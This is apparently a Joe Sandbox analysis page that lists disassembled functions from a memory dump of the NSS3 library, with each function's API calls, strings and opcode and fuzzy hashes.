unknown error, xrefs: 6C794D56

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 521d48a7bd2a3c412a5240a553d4df70bc0f7354e8988f6dedfb457f616fed77
Instruction ID: 7e4b6feb2d0058f0448a18ef5f63621bbe711acebf826fa1c753dc2e4e65612f
Opcode Fuzzy Hash: 521d48a7bd2a3c412a5240a553d4df70bc0f7354e8988f6dedfb457f616fed77
Instruction Fuzzy Hash: D3319977E08912AFE7184624BB027A5B3B57B8331CF150535D5344BF29C720AC52E3E6

Function 6C6F2CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C6F2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C6F2D07

Part of subcall function 6C7D09D0: PR_Now.NSS3 ref: 6C7D0A22
Part of subcall function 6C7D09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C7D0A35
Part of subcall function 6C7D09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C7D0A66
Part of subcall function 6C7D09D0: PR_GetCurrentThread.NSS3 ref: 6C7D0A70
Part of subcall function 6C7D09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C7D0A9D
Part of subcall function 6C7D09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C7D0AC8
Part of subcall function 6C7D09D0: PR_vsmprintf.NSS3(?,?), ref: 6C7D0AE8
Part of subcall function 6C7D09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7D0B19
Part of subcall function 6C7D09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7D0B48
Part of subcall function 6C7D09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7D0C76
Part of subcall function 6C7D09D0: PR_LogFlush.NSS3 ref: 6C7D0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C6F2D22

Part of subcall function 6C7D09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7D0B88
Part of subcall function 6C7D09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7D0C5D
Part of subcall function 6C7D09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C7D0C8D
Part of subcall function 6C7D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7D0C9C
Part of subcall function 6C7D09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7D0CD1
Part of subcall function 6C7D09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C7D0CEC
Part of subcall function 6C7D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7D0CFB
Part of subcall function 6C7D09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7D0D16
Part of subcall function 6C7D09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C7D0D26
Part of subcall function 6C7D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7D0D35
Part of subcall function 6C7D09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C7D0D65
Part of subcall function 6C7D09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C7D0D70
Part of subcall function 6C7D09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7D0D90
Part of subcall function 6C7D09D0: free.MOZGLUE(00000000), ref: 6C7D0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C6F2D3B

Part of subcall function 6C7D09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C7D0BAB
Part of subcall function 6C7D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7D0BBA
Part of subcall function 6C7D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7D0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C6F2D54

Part of subcall function 6C7D09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7D0BCB
Part of subcall function 6C7D09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7D0BDE
Part of subcall function 6C7D09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7D0C16

Strings

C_InitToken, xrefs: 6C6F2CE7
pPin = 0x%p, xrefs: 6C6F2D1D
n}l, xrefs: 6C6F2D6C, 6C6F2D9A
slotID = 0x%x, xrefs: 6C6F2D02
ulPinLen = %d, xrefs: 6C6F2D36
pLabel = 0x%p, xrefs: 6C6F2D4F

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$n}l
API String ID: 420000887-4257708238
Opcode ID: b00e696983ee5ce0a472be8cfd1c656049e323a1fe9d78b9cf16d99d0932998b
Instruction ID: 6b4103b4563cecfbec3d4f5de291f8c329c2c47913fea2d89db8c2a391736366
Opcode Fuzzy Hash: b00e696983ee5ce0a472be8cfd1c656049e323a1fe9d78b9cf16d99d0932998b
Instruction Fuzzy Hash: 5221B576201184AFDB109B54DE8DE497FB6EB4336DF488020E51497622D738A949CFF6

Function 6C792D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C792D9F

Part of subcall function 6C64CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6AF9C9,?,6C6AF4DA,6C6AF9C9,?,?,6C67369A), ref: 6C64CA7A
Part of subcall function 6C64CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C64CB26

sqlite3_exec.NSS3(?,?,6C792F70,?,?), ref: 6C792DF9
sqlite3_free.NSS3(00000000), ref: 6C792E2C
sqlite3_free.NSS3(?), ref: 6C792E3A
sqlite3_free.NSS3(?), ref: 6C792E52
sqlite3_mprintf.NSS3(6C7FAAF9,?), ref: 6C792E62
sqlite3_free.NSS3(?), ref: 6C792E70
sqlite3_free.NSS3(?), ref: 6C792E89
sqlite3_free.NSS3(?), ref: 6C792EBB
sqlite3_free.NSS3(?), ref: 6C792ECB
sqlite3_free.NSS3(00000000), ref: 6C792F3E
sqlite3_free.NSS3(?), ref: 6C792F4C

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 8a21d62e0d28c34b4611f8665d88092c56c5b9230cab2a4315362c821180df69
Instruction ID: af4f40a5ec9d15d99f0efd96796865c96365a941b90d60b0ba542f891f5bbd57
Opcode Fuzzy Hash: 8a21d62e0d28c34b4611f8665d88092c56c5b9230cab2a4315362c821180df69
Instruction Fuzzy Hash: C96190B5E012059BEB00DF68E989BDEB7B6EF49348F148034DC15A7B11E731E845CBA5

Function 6C6D7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C822120,Function_00097E60,00000000,?,?,?,?,6C75067D,6C751C60,00000000), ref: 6C6D7C81

Part of subcall function 6C644C70: TlsGetValue.KERNEL32(?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644C97
Part of subcall function 6C644C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644CB0
Part of subcall function 6C644C70: PR_Unlock.NSS3(?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644CC9

TlsGetValue.KERNEL32 ref: 6C6D7CA0
EnterCriticalSection.KERNEL32(?), ref: 6C6D7CB4
PR_Unlock.NSS3 ref: 6C6D7CCF

Part of subcall function 6C76DD70: TlsGetValue.KERNEL32 ref: 6C76DD8C
Part of subcall function 6C76DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DDB4

TlsGetValue.KERNEL32 ref: 6C6D7D04
EnterCriticalSection.KERNEL32(?), ref: 6C6D7D1B
realloc.MOZGLUE(-00000050), ref: 6C6D7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D7DF4
PR_Unlock.NSS3 ref: 6C6D7E0E

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 5adb37a284b2db78bda35aed1a78c74569ba864ae34a7b83146625462f8dbd83
Instruction ID: c6a7577b29a90329cab9a65bd42843aa2fb99b120ca38bfc6ac374ce02c1b3bc
Opcode Fuzzy Hash: 5adb37a284b2db78bda35aed1a78c74569ba864ae34a7b83146625462f8dbd83
Instruction Fuzzy Hash: 5F51F2B1A141019FDB206F29DC49E6577F5EB4232CF26813ADD0487B26EB35F861CAC6

Function 6C644C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644CB0
PR_Unlock.NSS3(?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644D97
PR_Lock.NSS3(?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644DBA
PR_WaitCondVar.NSS3 ref: 6C644DD4
PR_Unlock.NSS3(?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644DEF

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: abeb4711a08c8e80544df4637b4653fe39fb6e45ad3e64f5f3f037068a23a456
Instruction ID: 34ff0b6a5778cd7db15a72e6c281fa6a895ef4737d7fa39ff642dab4b90e1708
Opcode Fuzzy Hash: abeb4711a08c8e80544df4637b4653fe39fb6e45ad3e64f5f3f037068a23a456
Instruction Fuzzy Hash: D8416CB5A08615CFCB10AF79D1895A9BBF4BF06318F15C679D8489BB01E770D884CBC9

Function 6C7D7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C7D7CE0

Part of subcall function 6C789BF0: TlsGetValue.KERNEL32(?,?,?,6C7D0A75), ref: 6C789C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D7D36
PR_Realloc.NSS3(?,00000080), ref: 6C7D7D6D
PR_GetCurrentThread.NSS3 ref: 6C7D7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C7D7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D7DD8
malloc.MOZGLUE(00000080), ref: 6C7D7DF8
PR_GetCurrentThread.NSS3 ref: 6C7D7E06

Strings

:%s:%d:0x%lx, xrefs: 6C7D7DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C7D7DF0

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 5c7b7bc4054deac17f6a149535cda381ca470d1ccb13e77f8e8eb21d01b7b8a5
Instruction ID: b584dfcbd6053c6017bd1c66b41ee25d0c201dd887bfd4b4d8a0d328696c0fa4
Opcode Fuzzy Hash: 5c7b7bc4054deac17f6a149535cda381ca470d1ccb13e77f8e8eb21d01b7b8a5
Instruction Fuzzy Hash: B741C2B1A002059FDB04CF28DE8596A7BAAFF80318F26456CE8198BB55D731F901CBA1

Function 6C7D7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C7D7E46

Part of subcall function 6C6B1240: TlsGetValue.KERNEL32(00000040,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B1267
Part of subcall function 6C6B1240: EnterCriticalSection.KERNEL32(?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B127C
Part of subcall function 6C6B1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B1291
Part of subcall function 6C6B1240: PR_Unlock.NSS3(?,?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C7D7EAF
PR_ImportFile.NSS3(?), ref: 6C7D7ECF
PR_GetCurrentThread.NSS3 ref: 6C7D7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C7D7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C7D7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C7D7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C7D7E41
%d:0x%lx, xrefs: 6C7D7EA9

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: ae4b17ac5ff168c1791a9323d84e0176413f5b58739eba10363ba474df25cdba
Instruction ID: c0765442e0f5290022de89150f78e47aeafb77357658497baee0cbdf1183c9e7
Opcode Fuzzy Hash: ae4b17ac5ff168c1791a9323d84e0176413f5b58739eba10363ba474df25cdba
Instruction Fuzzy Hash: 69315471A0011B9FEB109B69CA84AABB7BCFF45348F264935D80193B16E731BD05C792

Function 6C6E4E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6E4E90
EnterCriticalSection.KERNEL32 ref: 6C6E4EA9
TlsGetValue.KERNEL32 ref: 6C6E4EC6
EnterCriticalSection.KERNEL32 ref: 6C6E4EDF
PL_HashTableLookup.NSS3 ref: 6C6E4EF8
PR_Unlock.NSS3 ref: 6C6E4F05
PR_Now.NSS3 ref: 6C6E4F13
PR_Unlock.NSS3 ref: 6C6E4F3A

Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07AD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07CD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07D6
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C64204A), ref: 6C6B07E4
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,6C64204A), ref: 6C6B0864
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6B0880
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C64204A), ref: 6C6B08CB
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08D7
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08FB

Strings

bUnl, xrefs: 6C6E4F3F
bUnl, xrefs: 6C6E4E5C

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUnl$bUnl
API String ID: 326028414-1569098234
Opcode ID: 7fe4e86f4904e2b0540990bd8c21b5044a792abf34dd3b39f73ee4750dc20aa2
Instruction ID: 0a6c3404ed027a08264968fb5fd3693fb10d4729c243cd1c6b034e9099724688
Opcode Fuzzy Hash: 7fe4e86f4904e2b0540990bd8c21b5044a792abf34dd3b39f73ee4750dc20aa2
Instruction Fuzzy Hash: 104158B4A04605DFCB00EF78C1898AABBF0FF49348B11856AEC599B711EB30E855CBD5

Function 6C6F6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C6F6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6F6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6F6CA3

Part of subcall function 6C7DD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7DD963

PR_LogPrint.NSS3(?,00000000), ref: 6C6F6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C6F6CD5

Strings

hSession = 0x%x, xrefs: 6C6F6C7E, 6C6F6C8E
(CK_INVALID_HANDLE), xrefs: 6C6F6C9C
n}l, xrefs: 6C6F6CF4, 6C6F6D1F
pMechanism = 0x%p, xrefs: 6C6F6CD0
C_DigestInit, xrefs: 6C6F6C61

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$n}l
API String ID: 1003633598-3787027534
Opcode ID: 4e289ee718b38946d6049ef849ba3db5fa9c8cef3348666653dcf4734e164b35
Instruction ID: 8d0488feebccf4de5a82d1f613c72a97a23a44d8398f9544c2e355c4aa187b9d
Opcode Fuzzy Hash: 4e289ee718b38946d6049ef849ba3db5fa9c8cef3348666653dcf4734e164b35
Instruction Fuzzy Hash: 0E2136316011449BDB109B149E9DF9E3BB6EB4731CF458034E41997B12DB38E909CBEE

Function 6C70ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C70DE64), ref: 6C70ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C70ED22

Part of subcall function 6C71B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7F18D0,?), ref: 6C71B095

PL_FreeArenaPool.NSS3(?), ref: 6C70ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C70ED6B
PR_CallOnce.NSS3(6C822AA4,6C7212D0), ref: 6C70ED38

Part of subcall function 6C644C70: TlsGetValue.KERNEL32(?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644C97
Part of subcall function 6C644C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644CB0
Part of subcall function 6C644C70: PR_Unlock.NSS3(?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C70ED52
PR_CallOnce.NSS3(6C822AA4,6C7212D0), ref: 6C70ED83
PL_FreeArenaPool.NSS3(?), ref: 6C70ED95
PL_FinishArenaPool.NSS3(?), ref: 6C70ED9D

Part of subcall function 6C7264F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C72127C,00000000,00000000,00000000), ref: 6C72650E

Strings

security, xrefs: 6C70ED06

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: b6aec6843e2587200f02e6d7f9e2fa592346ece1d90b517b81b47883a286a06e
Instruction ID: 7d1fc38036a3726a12fd2e17fc57ae1be19ec9d812d284cfb85dbf29d90ee2ed
Opcode Fuzzy Hash: b6aec6843e2587200f02e6d7f9e2fa592346ece1d90b517b81b47883a286a06e
Instruction Fuzzy Hash: ED1138B2A002086BD7105665AE4EBBB72B8FF0161CF054435E89162F41F729A70CC7D6

Function 6C7D0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C6B2357), ref: 6C7D0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6B2357), ref: 6C7D0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C7D0EE6

Part of subcall function 6C7D09D0: PR_Now.NSS3 ref: 6C7D0A22
Part of subcall function 6C7D09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C7D0A35
